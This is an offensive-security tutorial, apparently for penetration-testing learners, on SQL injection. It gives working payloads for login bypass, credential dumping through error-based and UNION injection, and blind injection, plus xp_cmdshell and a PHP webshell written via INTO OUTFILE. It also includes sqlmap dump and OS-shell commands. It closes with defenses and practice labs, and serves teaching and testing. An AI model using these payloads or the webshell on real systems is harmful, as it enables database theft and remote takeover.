What is SQL Injection?
Web applications store data in databases. Usernames, passwords, products, orders, everything. To interact with that data, the app builds SQL queries from your input and sends them to the database.
If the app doesn’t sanitize your input, you can inject your own SQL into the query. Instead of providing a username, you provide SQL code that changes what the query does.
SQL injection lets you talk directly to the database. Read any table, bypass authentication, extract password hashes, and sometimes even execute system commands.
How It Works
The Vulnerable Code
Here’s what a vulnerable PHP login looks like:
$uname = $_POST['uname'];
$passwd = $_POST['password'];
$sql = "SELECT * FROM users WHERE user_name='$uname' AND password='$passwd'";The user input goes directly into the query string with no validation. This means you control part of the SQL statement.
Testing for SQLi
The simplest test: add a single quote (') to an input field.
If the app returns a SQL error, injection is likely:
Error: You have an error in your SQL syntax... If the app behaves differently (error message, blank page, redirect), that’s also a sign. Compare the response to a normal request.
A single quote that triggers a SQL error is your confirmation. From there, it’s about figuring out how to exploit it.
MySQL vs MSSQL
The two databases you’ll encounter most often. Their syntax differs in important ways:
| Task | MySQL | MSSQL |
|---|---|---|
| Connect remotely | mysql -u root -p'pass' -h IP | impacket-mssqlclient user:pass@IP |
| Version | SELECT version(); | SELECT @@version; |
| Current user | SELECT system_user(); | SELECT SYSTEM_USER; |
| List databases | SHOW databases; | SELECT name FROM sys.databases; |
| Comments | -- (space required) or # | -- (space required) |
| String concat | CONCAT('a','b') | 'a'+'b' |
Both use information_schema to list tables and columns. This is the metadata database that maps the entire structure.
Authentication Bypass
The classic SQL injection attack. Instead of a real username, enter:
' OR 1=1 -- // What Happens
The app builds this query:
SELECT * FROM users WHERE user_name='' OR 1=1 -- //' AND password='anything'Breaking it down:
'closes the username string earlyOR 1=1makes the WHERE clause always true (1 always equals 1)-- //comments out everything after (the password check is ignored)
The database returns every user. The app sees a valid result and logs you in, usually as the first user in the table (often admin).
-- //is safer than just--. The double slashes protect against whitespace truncation that some apps apply to input.
Error-Based SQLi
If the application displays SQL errors, you can extract data through the error messages.
The trick is to force a type mismatch that includes your data in the error:
' OR 1=1 IN (SELECT @@version) -- //This compares a boolean (1=1) with a string (the version). The error message leaks the version: “Truncated incorrect DOUBLE value: ‘8.0.28’”
Extracting Credentials
Target specific data by changing the subquery:
Get the admin’s password hash:
' OR 1=1 IN (SELECT password FROM users WHERE username='admin') -- //The error message contains the hash.
Get all passwords:
' OR 1=1 IN (SELECT password FROM users) -- //Error-based SQLi is quick and dirty. It works when the app shows SQL errors, which many production apps don’t. But when it works, data extraction is fast.
UNION-Based SQLi
The most powerful in-band technique. UNION lets you append a second query to the original, combining the results into one output.
Two Requirements
For UNION to work:
- Your injected query must have the same number of columns as the original
- The data types must be compatible between matching columns
Step 1: Find the Column Count
Use ORDER BY and increment until you get an error:
' ORDER BY 1 -- //
' ORDER BY 2 -- //
' ORDER BY 3 -- //
' ORDER BY 4 -- //
' ORDER BY 5 -- //
' ORDER BY 6 -- // ← ERROR: column 6 doesn't existThe table has 5 columns.
Step 2: Find Displayed Columns
Not all columns are shown on the page. Find which ones are visible:
%' UNION SELECT 'a1', 'a2', 'a3', 'a4', 'a5' -- //Check which of a1 through a5 appear in the output. Those are the columns you can use to extract data.
Step 3: Extract Database Info
Replace the visible columns with what you want:
' UNION SELECT null, null, database(), user(), @@version -- //This reveals the current database name, user, and MySQL version.
If a column expects an integer, use null as a placeholder for columns you don’t need.
Step 4: Enumerate Tables and Columns
Query information_schema to map the entire database:
' UNION SELECT null, table_name, column_name, table_schema, null
FROM information_schema.columns
WHERE table_schema=database() -- //This returns every table and column in the current database. Look for tables like users, accounts, credentials.
Step 5: Dump the Data
Once you know the table and column names:
' UNION SELECT null, username, password, description, null FROM users -- //Usernames, password hashes, and descriptions for every account.
UNION-based SQLi is methodical. Find columns, find tables, dump data. Each step builds on the previous one.
Blind SQL Injection
Sometimes the database executes your query but the app never shows the results. No error messages, no data in the page. The injection is blind.
You can still extract data, but you do it one bit at a time.
Boolean-Based Blind
The app behaves differently based on whether your query returns TRUE or FALSE:
?user=admin' AND 1=1 -- // → normal page (TRUE)
?user=admin' AND 1=2 -- // → different page or error (FALSE) If the responses differ, you can ask the database yes/no questions:
- “Is the first character of the admin password ‘a’?”
- “Is the database version greater than 8?”
This is extremely slow manually, but tools automate it.
Time-Based Blind
If the app gives the same response regardless of TRUE/FALSE, use time delays:
?user=admin' AND IF(1=1, sleep(3), 'false') -- // If the page takes 3 seconds longer to load, the condition is TRUE. If it responds instantly, it’s FALSE.
Blind SQLi is tedious but powerful. You can extract entire databases one character at a time. Use sqlmap to automate it.
From SQLi to Code Execution
SQL injection doesn’t just read data. With the right privileges, it can execute operating system commands.
MSSQL: xp_cmdshell
Microsoft SQL Server has a built-in function that runs OS commands:
-- Enable it first (requires admin)
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Run commands
EXECUTE xp_cmdshell 'whoami';From here, get a reverse shell just like with command injection.
MySQL: Writing a Webshell
MySQL can write files to disk using INTO OUTFILE:
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null
INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //This writes a PHP webshell to the web server’s directory. Access it:
curl http://target.com/tmp/webshell.php?cmd=idRequirements: The MySQL user needs FILE privilege, and the target directory must be writable.
Automating with sqlmap
sqlmap automates the entire SQL injection process: detection, exploitation, and data extraction.
Basic Usage
Test a URL for SQLi:
sqlmap -u "http://target.com/page.php?user=1" -p user-usets the target URL with the parameter-pspecifies which parameter to test
Dump the Database
sqlmap -u "http://target.com/page.php?user=1" -p user --dumpsqlmap enumerates databases, tables, columns, and dumps all data automatically.
Get a Shell
sqlmap -r request.txt -p item --os-shell --web-root "/var/www/html/tmp"-rreads a saved HTTP request from Burp (useful for POST requests)--os-shelluploads a webshell and gives you an interactive command prompt--web-rootspecifies where to write the webshell
sqlmap is noisy. It generates a massive amount of traffic. Use it when stealth doesn’t matter, or after you’ve confirmed the injection point manually.
SQLi Prevention
Understanding defenses helps you identify when they’re missing:
| Defense | How it works |
|---|---|
| Parameterized queries | User input is never part of the SQL string. Passed as a separate parameter. |
| Prepared statements | Same concept, query structure is compiled first, data added after. |
| Input validation | Whitelist allowed characters, reject special chars. |
| Least privilege | Database user has minimal permissions (no FILE, no xp_cmdshell). |
| Error suppression | Don’t show SQL errors to users. |
Parameterized queries are the real fix. Everything else is defense-in-depth. If you see raw string concatenation in SQL queries, it’s vulnerable.
Practice Boxes
- Jarvis - SQL injection in a hotel booking app leading to shell via sqlmap
- GoodGames - SQLi on login page to extract admin JWT, then SSTI to shell
- SQL Injection Lab - Dedicated SQLi room with multiple injection types and flags
- PortSwigger SQLi Labs - Comprehensive free labs covering every SQLi variant